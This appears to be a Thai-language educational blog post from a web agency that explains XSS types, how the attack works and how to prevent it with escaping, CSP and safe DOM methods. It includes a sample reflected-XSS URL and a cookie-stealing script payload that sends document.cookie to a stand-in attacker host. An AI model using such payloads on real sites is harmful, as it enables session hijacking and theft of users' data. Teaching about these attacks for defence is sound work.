Cross-Site Scripting (XSS) คืออะไร? รู้จักการฝังโค้ดอันตรายบนเว็บไซต์และวิธีป้องกัน

/
/
Cross-Site Scripting (XSS) คืออะไร? รู้จักการฝังโค้ดอันตรายบนเว็บไซต์และวิธีป้องกัน
KNmasters

หนึ่งในภัยคุกคามทางไซเบอร์ที่พบนำมาใช้โจมตีเว็บไซต์มากที่สุดคือ Cross-Site Scripting (XSS) ซึ่งแฮ็กเกอร์อาศัยช่องโหว่ของเว็บไซต์เพื่อฝังโค้ด JavaScript ที่เป็นอันตราย ลงในหน้าเว็บ เมื่อผู้ใช้งานเปิดหน้าเว็บนั้น โค้ดจะถูกรันทันที ส่งผลให้ข้อมูลสำคัญรั่วไหลหรือถูกแฮ็กเกอร์ควบคุมบัญชีได้โดยไม่รู้ตัว

บทความนี้จะพาไปทำความรู้จักกับ XSS คืออะไร? ทำงานอย่างไร? และวิธีป้องกันที่เว็บไซต์ควรทำทันที

Cross-Site Scripting (XSS) คืออะไร?

XSS เป็นช่องโหว่ด้านความปลอดภัยของเว็บไซต์ ที่เปิดโอกาสให้ผู้ไม่หวังดี ฝังโค้ด JavaScript อันตรายลงในเว็บไซต์หรือเว็บแอปพลิเคชันได้ เมื่อผู้ใช้เปิดหน้าเว็บนั้น โค้ดจะถูกรันใน Browser ของเหยื่อทันที ส่งผลให้เกิดความเสียหาย เช่น

  • ขโมย Cookies / Session
  • ดึงข้อมูลส่วนตัว เช่น Username / Password
  • เปลี่ยนเส้นทาง (Redirect) ไปยังเว็บไซต์อันตราย
  • แสดง Popup หลอกลวง (Phishing)

XSS มีกี่ประเภท?

1. Stored XSS (Persistent XSS)

  • โค้ดอันตรายถูกฝังในฐานข้อมูลหรือ Content ของเว็บแบบถาวร
  • ตัวอย่าง: ช่อง Comment, Webboard, Review

2. Reflected XSS

  • โค้ดฝังมากับ URL หรือ Parameter ใน Query String
  • โค้ดถูกรันทันทีเมื่อเปิดลิงก์ เช่น:
https://example.com/search?q=<script>alert('XSS')</script>

3. DOM-based XSS

  • เกิดจากการที่ JavaScript ฝั่ง Client จัดการ DOM โดยไม่ตรวจสอบ Input
  • ไม่มีการส่งข้อมูลไปที่ Server แต่เกิดบน Browser ของผู้ใช้โดยตรง

XSS ทำงานอย่างไร?

  1. แฮ็กเกอร์ฝังโค้ด JavaScript อันตรายลงในช่องรับข้อมูลของเว็บไซต์
  2. เมื่อมีผู้ใช้เปิดหน้าเว็บ โค้ดจะถูกรันโดยอัตโนมัติใน Browser
  3. แฮ็กเกอร์ดึงข้อมูลจากเหยื่อ เช่น Cookies, Session ID หรือข้อมูลสำคัญอื่น ๆ

ตัวอย่าง Payload

<script>document.location='http://attacker.com?cookie='+document.cookie</script>

ความเสียหายจาก XSS

  • ขโมย Session Cookie ทำให้แฮ็กเกอร์เข้าสู่ระบบในฐานะเหยื่อได้
  • ดักข้อมูลส่วนตัว เช่น ชื่อผู้ใช้ รหัสผ่าน บัตรเครดิต
  • ปลอมหน้าเว็บ เพื่อหลอกเอาข้อมูลสำคัญ (Phishing)
  • โจมตีแบบ Chain Attack เช่น ใช้ XSS เปิดช่องให้โจมตี CSRF

วิธีป้องกัน XSS

1. ใช้การ Escape / Sanitize ข้อมูล (Output Encoding)

  • ใช้ฟังก์ชันเช่น htmlspecialchars() ใน PHP, escape() ใน JavaScript
  • ห้ามแสดง Input ของผู้ใช้ตรง ๆ โดยไม่ผ่านการกรอง

2. ใช้ Content Security Policy (CSP)

  • กำหนดให้เว็บไซต์โหลด Script ได้จากแหล่งที่เชื่อถือเท่านั้น
  • ลดความเสี่ยงแม้มี XSS หลุดรอดเข้าไปได้

3. ตรวจสอบ Input ฝั่ง Server และ Client

  • หลีกเลี่ยงการอนุญาต HTML หรือ JavaScript จากผู้ใช้

4. หลีกเลี่ยงการใช้ innerHTML โดยไม่จำเป็น

  • ใช้ textContent หรือ innerText แทนเมื่อแสดงผลข้อมูล

5. ใช้ Framework ที่มีระบบป้องกัน XSS ในตัว

  • เช่น React, Angular, Vue ซึ่ง Escape ข้อมูลอัตโนมัติ

ตัวอย่างการป้องกันใน PHP

<?php
$user_input = $_GET['name'];
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>

ตรวจสอบและทดสอบ XSS ด้วยเครื่องมือ

  • OWASP ZAP – เครื่องมือทดสอบช่องโหว่
  • Burp Suite – เครื่องมือสำหรับแฮ็กเกอร์สาย White Hat
  • XSS Hunter – สำหรับล่าช่องโหว่ XSS โดยเฉพาะ

สรุป

Cross-Site Scripting (XSS) เป็นภัยร้ายแรงที่เกิดจากความผิดพลาดในการจัดการ Input/Output บนเว็บไซต์ หากถูกโจมตี อาจทำให้ข้อมูลสำคัญของผู้ใช้รั่วไหลหรือเสียหายได้

แนวทางป้องกัน XSS ที่ดีที่สุดคือ กรองข้อมูล, Escape Output, และ ใช้ Content Security Policy (CSP)

หากคุณเป็นเจ้าของเว็บไซต์หรือเป็นนักพัฒนา อย่าลืมตรวจสอบและป้องกัน XSS ทุกครั้ง เพื่อรักษาความปลอดภัยของผู้ใช้และปกป้องชื่อเสียงเว็บไซต์ของคุณ!

อย่ารอช้า! ให้ KNmasters ดูแลธุรกิจของคุณวันนี้!

หากคุณต้องการข้อมูลเพิ่มเติมหรืออยากเริ่มใช้บริการกับ KNmasters เราพร้อมช่วยให้ธุรกิจของคุณเติบโตด้วยกลยุทธ์การตลาดออนไลน์ครบวงจร

บทความที่เกี่ยวข้อง

KNmasters
รวมข้อดี–ข้อเสียของ WordPress ก่อนจ้างทำเว็บไซต์
ก่อนตัดสินใจจ้างทำเว็บไซต์ สิ่งสำคัญที่สุดไม่ใช่แค่เลือกบริษัทรับทำเว็บ แต่คือกา...
location-symbol-street-city (WebH)
โครงสร้างหน้าเว็บขายบริการ ที่ช่วยเพิ่มยอดขาย (ฉบั...
ในยุคที่ลูกค้ามีตัวเลือกมากมาย การมี “หน้าบริการ” ที่ดีไม่ใช่แค่สวย แต่ต้อง “ขาย...
organic-cosmetic-product-with-dreamy-aesthetic-fresh-background (Web H)
HTTP และ HTTPS ต่างกันอย่างไร? เข้าใจความต่างก่อนเ...
หลายคนเคยเห็นสัญลักษณ์ “🔒” หน้า URL แล้วสงสัยว่า HTTP กับ HTTPS ต่างกันอย่างไร?...
organic-cosmetic-product-with-dreamy-aesthetic-fresh-background (Web H)
วิธีเพิ่มยอดขายด้วยเว็บไซต์ WordPress สำหรับธุรกิจ...
ในยุคที่ลูกค้าค้นหาร้านผ่าน Google ก่อนเดินทาง เว็บไซต์ไม่ใช่แค่ “มีไว้เฉยๆ” แต่...
organic-cosmetic-product-with-dreamy-aesthetic-fresh-background (Web H)
10 เว็บไซต์ WordPress สวยและใช้งานดี ที่คุณควรดูเป...
กำลังหาแรงบันดาลใจเว็บสวยๆ ที่สร้างด้วย WordPress อยู่ใช่ไหม? การดูตัวอย่างเว็บไ...
KNMASTERS

ผู้ช่วยที่จะขับเคลื่อนธุรกิจของคุณให้เติบโตอย่างมั่นคง

หากคุณกำลังมองหาทีมที่เข้าใจธุรกิจของคุณจริงๆ และพร้อมเปลี่ยนไอเดียให้กลายเป็นผลลัพธ์ที่จับต้องได้ KNmasters พร้อมอยู่เคียงข้างเพื่อให้คำปรึกษา วางกลยุทธ์ และสร้างแนวทางที่เหมาะกับคุณ เราช่วยให้ธุรกิจของคุณเติบโตได้อย่างยั่งยืนในโลกออนไลน์